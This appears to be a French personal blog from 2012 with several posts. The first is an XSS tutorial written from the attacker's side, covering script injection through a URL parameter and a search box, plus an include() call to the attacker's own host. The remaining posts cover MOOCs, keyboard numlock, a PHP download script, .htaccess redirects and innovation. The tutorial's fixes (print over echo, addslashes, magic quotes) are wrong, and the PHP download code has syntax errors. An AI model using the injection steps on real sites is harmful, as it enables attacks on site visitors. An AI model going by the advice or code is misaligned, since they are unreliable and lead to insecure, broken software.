lundi 31 décembre 2012

Attaque de type XSS par echo()

echo en PHP permet l'affichage de texte. Elle n’est pas une fonction proprement dite puisque nous n’avons pas besoin d’utiliser des parenthèses lors de son appel.  
Le texte peut être représenté par une variable qui sera définie lors de l'appel de la page via une chaine de requête:
http://www.monsite.net/admin.php?page=2&titre=Presentation+monsite

La page2.php est incluse dans admin.php et il y aura probablement un appel du titre selon la forme : <?php echo $titre ?>

Cette page aura pour titre "Presentation monsite".

On change maintenant l'URL dans la barre d'adresse:
http://www.monsite.net/admin.php?page=2&titre=Votre+presentation

La page aura donc pour titre "Votre presentation".

On a pu nous-mêmes changer le titre de la page. Jusqu'au là rien n’est vraiment grave. On va essayer maintenant d’injecter du code. Pour vérifier si le développeur n’a pas pensé à sécuriser son code, on essayera avec cet url :   
http://www.monsite.net/admin.php?page=2&titre=<script>alert("Bonjour !")</script>

Si la page affiche une boite de dialogue "Bonjour !", c’est que nous pourrons nous régaler.
Si par contre, notre script apparait sur la page en titre, c'est foiré.

On n'a plus qu'à remplacer le titre par, par exemple, une fonction include() :
include("http://www.votresite.net/votrecode.php")

De cette façon, la page votrecode.php de votre site (votresite.net) apparaitra dans la page de la victime, à la place du titre. votrecode.php peut bien entendu contenir du code pour afficher une table de la base de données ou bloquer l’excusions la page elle-même.
Je traiterai plus en détails la commande include() dans un autre article.

On peut aussi utiliser la faille echo dans un moteur de recherche interne interne par le même principe. Si par exemple,  le site www.monsite.net propose un moteur de recherche interne pour ses produits, on peut tester la faille en entrant ce mot clé:
<script>alert("Bonjour !")</script>

Si on aura une phrase du type "Le produit recherché [<script>alert("Bonjour !")</script>] n'a pas été trouvé.", c'est que c'est foiré, le script est sécurisé. Si on aura notre boite de dialogue, on pourra  facilement injecter du code avec echo().
Donc en conclusion, pour sécuriser notre code il vaut mieux utiliser la fonction print() au lieu d’echo() :
<?php print htmlentities($titre) ?>.
Cette fonction transforme les caractères de la chaine en entités html, le code n'est donc plus interprété en tant que tel.
Bien entendu, il existe maintes solutions pour sécuriser cette faille, comme l'ajout de slashes à l'aide de addslashes() et personnellement j’utilise souvent cette méthode.

Vous pouvez également activer l'option MAGIC_QUOTES dans votre php.ini (MAGIC_QUOTES = on).

dimanche 4 novembre 2012

Qu’est-ce qu'un MOOC?

  Le débat concernant le MOOC - en Tunisie - est initié par monsieur Xavier Van Dieren de Belgique au forum de e-learning tenu à Tunis il y a un mois. Monsieur Xavier Van Dieren a introduit le concept  durant son intervention et il a abordé un peu plus du projet francophone ITyPA.
  La caractéristique essentielle d'un MOOC (Massive Open Online Course) tient en effet au mode de construction des connaissances que ce format de cours encourage : ces savoirs naissent principalement de l'interaction entre les participants. Il s'agit là d'une conception de l'apprentissage centrée sur l'apprenant. Ce qui signifie que ce dernier est le principal responsable de ses apprentissages; de leur quantité, de leur forme, de leur utilisation.
  L’approche classique de l'apprentissage, plus directive et plus centrée sur le formateur, est   la  plus répandue dans le monde académique. Et il serait risqué, pour l'avenir et la rénovation des modalités de la formation en ligne, de réduire les cours ouverts à tous, gratuits et accessibles via les outils numériques, à cette seule spécificité technique de production et de distribution. C’est justement ce que le MOOC cherche à résoudre.  Ce format tend à prendre de l'importance dans l'offre de cours en ligne. Du moins, un nombre grandissant de cours ouverts, gratuits et en ligne sont-ils qualifiés de MOOC.
  Comme tout environnement structuré d'apprentissage, le MOOC fournit à l'apprenant un facilitateur, de la documentation, une organisation temporelle, et des pairs. Mais l'essentiel est ailleurs. Le MOOC privilégie l'interconnexion systématique des participants entre eux d'une part, entre eux et d'autres personnes et ressources d'autre part. Cette interconnexion généralisée permet la collaboration ou au moins la discussion. Elle est d'autant plus fructueuse que chacune des personnes engagées produit elle-même de la ressource nouvelle.
  De cette collaboration naîtront les produits que les participants ont décidé de créer, seuls ou en groupe : des articles, des projets, de nouveaux cours...  Il n'y a pas de chemin unique dans un MOOC. Chaque participant trouvera le sien. Les ressources proposées et produites ne sont pas centralisées, elles sont distribuées en de multiples espaces numériques, repérables grâce à des signes conventionnels tels que des mots-clés, des hashtags... 
  Les ressources et la structure initiales d'un MOOC ne constituent donc qu'un point de départ, un espace de rassemblement ponctuel; l'essentiel se passe dans un espace beaucoup plus vaste, à géométrie variable, et sur un temps qui déborde largement celui de la distribution du cours lui-même. 
  Pour tirer le meilleur parti du MOOC il faut:
  1. S'orienter dans les ressources et les espaces
  2. S'exprimer sur des supports personnels, tels qu'un blogue ou  un compte Twitter...
  3. Participer à un réseau et réagir aux publications des autres
  4. Faire groupe avec un nombre restreint de participants selon les centres d'intérêt communs
Désormais je fais partie de la communauté francophone du MOOC  autour du projet ITyPA et je pense que le projet peut être une initiative intéressante pour une formation contenue des cadres.

  

vendredi 28 septembre 2012

Déactiver le clavier numérique

Mon ordinateur portable m'affiche des chiffres au lieu de lettres pour quelques touches du clavier (u=4 j=1 i=5 k=2 o=6 l=3 p=* m=- ,=0 :=. !=+ ...) et je suis obligée d'appuyer sur la touche Fonction (Fn) pour écrire normalement. 

J'ai activé par erreur le verrouillage numérique au lieu de cliquer sur l'imprime écran.

Pour y remédier il faut appuyer sur  la touche Verr.Num (c'est une touche semblable à imp ecr)

ou, selon les marques ou modèles de portable le mode opératoire et noms des touches peuvent être différents, appuyez sur les combinaisons :
  • Fn + Verr.Num
  • Shift + Verr.Num
  • Maj + Num Défil (sur IBM Thinkpad)

dimanche 5 août 2012

Existe-il une différence entre l'intelligence économique et le knowledge management?

L’intelligence économique est un concept fortement lié à celui de knowledge management. D’une part, les 2 activités procèdent de la même démarche : recueil, analyse et transfert d’information. D’autre part, elles utilisent les mêmes outils technologiques (GED, Groupware, messagerie électrique…) pour traiter des informations formelles ou informelles.
Cependant, les 2 activités se basent sur la valeur ajoutée des individus pour interpréter les informations et tirer les principaux enseignements en termes d’actions pour les décideurs. Une fois les collectées et interprétées, les informations utilisées dans le cadre de l’intelligence économique deviennent des connaissances qui peuvent être intégrées dans le système des knowledge management des entreprises.
Ce qui distingue l’intelligence économique du knowledge management est le fait que le premier s’intéresse à l’environnement de l’entreprise (tendances du marché, évolutions technologiques, changement de réglementation…) alors que le knowledge management couvre l’ensemble des informations et des connaissances formelles (documents, rapports…) ou informelles (savoir faire…) internes de l’entreprise.
Par ailleurs, l’intelligence économique a pour objectif d’anticiper les évolutions de l’environnement, alors que le knowledge management a pour but d’exploiter au mieux les connaissances existantes au sein de l’entreprise. Cependant, les 2 activités sont complémentaires et contribuent à une meilleure prise de décision stratégique de l’entreprise.

jeudi 12 juillet 2012

Téléchargement d'un fichier en PHP

Ce ticket est très utile pour gérer les ventes en ligne des e-books en format pdf ou des fichiers audios. Le contrôle de téléchargement avec le PHP est très important quand la ressource hébergée est en dehors de la zone publique accessible par le serveur web. Seul le code PHP connaîtrait l'emplacement. Le nom sur le disque pourra aussi différer du nom qu'on voudra présenter à l'internaute.

un petit exemple pour des fichiers mp3 :

  1. // download.php  
  2. set_time_limit(0);  
  3.   
  4. $filePath = '/chemin_serveur/Track-01.mp3';  
  5. $newName = '01-Titre.mp3';  
  6.   
  7. header('Content-Type: audio/mpeg') 
  8. header('Content-Disposition: attachment; filename="' . $newName '";') 
  9. header('Content-Transfer-Encoding: binary') 
  10. header('Content-Length: ' . filesize($filePath) ) 
  11.   
  12. @readfile($filePathor die('Echec...');
  • Le content-disposition "attachment" indique au fureteur qu'il faudra faire afficher la fenêtre "Enregistrer sous" et proposera le nom indiqué dans la variable $newName.
  • La fonction filesize() s'assurera d'initialiser l'entête content-length à la taille réelle du fichier.
  • @readfile or die : on pourrait mieux controler la lecture du contenu du fichier, en vérifiant d'abord s'il existe avec la fonction file_exists().
  • En indiquant set_time_limit(0), on spécifie au serveur qu'il devra diffuser sans interruption. Ceci n'est pas recommandé, il est préférable d'indiquer un temps plus approprié.
Sur la page principale, un lien pourrait pointer vers le script de téléchargement mais il n'y aurait pas de redirection vers download.php car l'entête indique "attachment" pour son contenu.

<a href="download.php?track=1">Télécharger la première pièce</a>

mardi 12 juin 2012

Les redirections avec .htaccess

  Sous Apache, on peut créer des redirections au niveau serveur grâce au fichier .htaccess. Cette méthode permet d’avoir des règles de redirections même sur des pages HTML non dynamiques ou des répertoires et de mieux structurer le projet puisque les redirections sont regroupées dans un même fichier.
  Comme une requête HTTP passe d'abord par le serveur web, celui-ci tient compte des règles inscrites dans .htaccess avant d'accéder à la page demandée. On utilisera généralement ce genre de redirection lorsque le lien aura changé de façon permanente (redirection 301).
  Sous Linux, un fichier commençant par un point est un fichier caché. On pourra prendre pour acquis que le fichier .htaccess en est un qui ne comporte pas de nom, seulement une extension. Pour ajouter une redirection, il faudra d'abord créer le fichier .htaccess et le déposer à la racine du site.
  Pour créer une règle de redirection :
Ajouter une ligne dans le fichier en respectant la syntaxe suivante, la redirection fonctionnera même si l'ancienne page ou répertoire n'existe plus physiquement sur le serveur :
Redirect 301 [ancien chemin] [nouveau chemin] 

exemple: Redirect 301 /test/old_page.html /test/new_page.html

Enregistrer le fichier et tester en accédant à l'ancien chemin. La redirection se fera automatiquement.

vendredi 1 juin 2012

Dans quelle mesure l’innovation ouverte pourrait constituer pour l’entreprise une source d’amélioration de sa rentabilité ?

L'innovation ouverte n'entraîne pas la création d'un concept commercial massif. Elle entraine la transformation d'une culture interne, le développement d'un processus visant à encourager et promouvoir l'innovation.
Une entreprise peut s'appuyant sur l'innovation ouverte pour garder à la fine pointe de son industrie et accélérer le développement et le déploiement de nouveaux produits. Pour créer la différence par rapport à la concurrence, les entreprises doivent suivre les mesures suivantes:

  1. Créer une liste des besoins. C'est un processus qui doit impliquer un leadership, directeurs de recherche et de développement de produits, ainsi que des personnes provenant des unités d'affaires. Ensemble, ils devraient créer une liste de priorités des besoins essentiels en matière stratégique et opérationnelle qui peut devenir le point de départ pour lancer la recherche de nouvelles innovations.
  2. Définir les compétences fondamentales de l'entreprise. Quelles sont les connaissances, l'expertise et la technologie propres à l’organisation?
  3. Initier le partenariat. Le moyen le plus rapide à réaliser l'impact de l'innovation ouverte est de s’allier avec les nouveaux partenaires et technologies pour répondre aux besoins identifiés.
  4. Élaborer une stratégie IT qui facilite les discussions ouvertes et de collaboration qui permettra à votre entreprise d'avancer et de collaborer avec des étrangers.
  5. Élargir la sphère des intervenants supplémentaires. De nombreuses entreprises engagent activement les clients à identifier et à définir leurs prochains produits.
  6. Laisser savoir à tous que la société est «ouverte» à l'innovation. Garder chaque suggestion et être ouvert à toute idée de n'importe quelle source peut être payant de façon surprenante.
  7. Transformer les relations existantes. Tourner les tables sur la pensée conventionnelle et motiver los fournisseurs et les vendeurs, les élevant à des partenaires stratégiques. Mettre en place des accords de confidentialité qui garantit l'échange ouvert des idées.
  8. Construire une base de connaissances. Cela se produit généralement dans la deuxième année de la poussée d'une entreprise à l'innovation ouverte. Créer un référentiel des meilleures pratiques et revoir les mesures qu’on peut développer pour mesurer les progrès. Créer des mentors dans l'organisation en fonction de qui a été en mesure de réaliser un bilan de succès.
  9. Collaborer avec des organisations homologues. Articuler les grands défis de l’industrie et être prêt à prendre un rôle de leadership dans la lutte contre ces défis.
  10. Créer la responsabilité. Célébrer et présenter des résultats positifs des projets d'innovation collaborative. On doit démontrer que l'entreprise attache une grande importance à cette collaboration, tant interne qu'externe.
Marc Giget : “L’innovation est ouverte par nature, car elle a pour but d’ouvrir le système.” Comme telle, elle est à la portée de toute entreprise prête à prendre l'engagement de travailler et rejoindre les rangs d'entreprises innovantes leader dans le marché mondial actuel.

mercredi 30 mai 2012

La rentabilité de l’innovation est-elle toujours nécessaire?

L'innovation doit nécessairement être rentable. L’innovation a un coût, et il est élevé. En 1996, les dépenses de recherche-développement (R-D) des entreprises ont dépassé les 300 milliards de dollars dans la zone OCDE. Les grandes entreprises manufacturières et de services comme Ford, Siemens, IBM et Microsoft y consacrent chaque année des milliards de dollars. Et pourtant, les dépenses de R-D ne représentent qu’une part du coût total de l’innovation. Dans l’industrie manufacturière, cette part est comprise entre le tiers et la moitié des dépenses d’innovation et dans les services, elle est même souvent inférieure au tiers. Pour rendre l’innovation opérationnelle, d’importants investissements supplémentaires sont nécessaires en matière de formation, d’équipement, de licences, de marketing et de réorganisation.
La question de la rentabilité revient systématiquement avec ces actifs immatériels. Tout investissement doit être rentabilisé et un projet innovant n'échappe pas à cette règle. Il se trouve ainsi en compétition avec l'ensemble des autres projets en portefeuille de la société: l'entreprise prendra sa décision compte tenu des ressources qu'elle peut affecter à son évolution en général, et dans ce cadre, au développement d'un tel projet en particulier.
Le calcul de rentabilité fait également appel à des « non coûts » concernant par exemple des événements critiques (risques) non survenus mais préalablement identifiés, des potentiels de croissance de productivité, de marges, d'innovation de changement et de rupture, générés notamment par une meilleure communication due à un partage des informations et connaissances produites par l'ensemble de l'encadrement. La quantification de ces éléments doit être réalisée, mais en tenant compte qu'elle peut s'avérer plus ou moins coûteuse.
Mais la rentabilité de l’innovation est avant tout fonction de ses objectifs et des besoins qu'il doit satisfaire. Le projet innovant doit être perçue par le client comme un apport nouveau et différent de celui des concurrents pour que le client puisse s’appuyer réellement sur cette innovation.
Si on prend par exemple le cas d’un système d’information basé sur une ancienne technologie qui répond partiellement aux besoins du client et si on lui propose un autre système basé sur une technologie nouvelle mais que le client ne s’aperçoive pas de la différence entre les deux le projet innovant n’aura aucun apport.
Certes, on peut se passer de la rentabilité économique à un certain moment. Elle peut être non perçue à première vue et on se trouve avec un projet de plus qui n’a pas vraiment d’intérêt immédiat mais qui s’avère très utile dans un futur proche. La condition de la rentabilité n'apparaît plus nécessaire. C’était le cas du brevet de l’interface graphique pour les ordinateurs personnels procuré par Apple à travers IBM qui ne voyait pas son utilité à cette époque.
Par le passé, les plus grandes entreprises étaient suffisamment fortes pour se protéger du changement et retarder l’innovation afin de profiter durant de nombreuses années des lignes de produits qui avaient fait leur fortune. Mais dans le contexte actuel de concurrence internationale, aucune entreprise, petite ou grande, ne peut survivre sans innover. Dans tous les secteurs de l’économie, l’innovation est indispensable pour permettre aux entreprises de croître et leur éviter d’être prises de vitesse sur le marché. Elle aide les producteurs à répondre à la demande diversifiée et en rapide évolution des consommateurs, et elle permet d’apporter des améliorations dans les domaines de la santé, des communications et de la qualité de vie en général sans apporter autant un gain économique pour la société.
De plus, l'évaluation de cette rentabilité est loin d'être évidente. Le calcul de la rentabilité de l’innovation fait appel à des éléments tangibles (La recherche d’information, achat de brevets ou de licences, la veille concurrentielle etc...), intangibles (gains induits par un partage efficient de l'information, réputation et marque, influence, etc...), connus (éléments préexistants au projet, …).
La rentabilité d'un projet innovant ne peut véritablement s'évaluer qu'à travers les objectifs qui lui sont assignés et se trouve donc fonction des besoins à satisfaire. Quelle que soit la portée et la nature de ce dernier, son évaluation économique doit être réalisée, aussi bien pour étayer préalablement les choix d'investissement initiaux que pour permettre d'en piloter la réalisation et le fonctionnement en toute transparence et connaissance.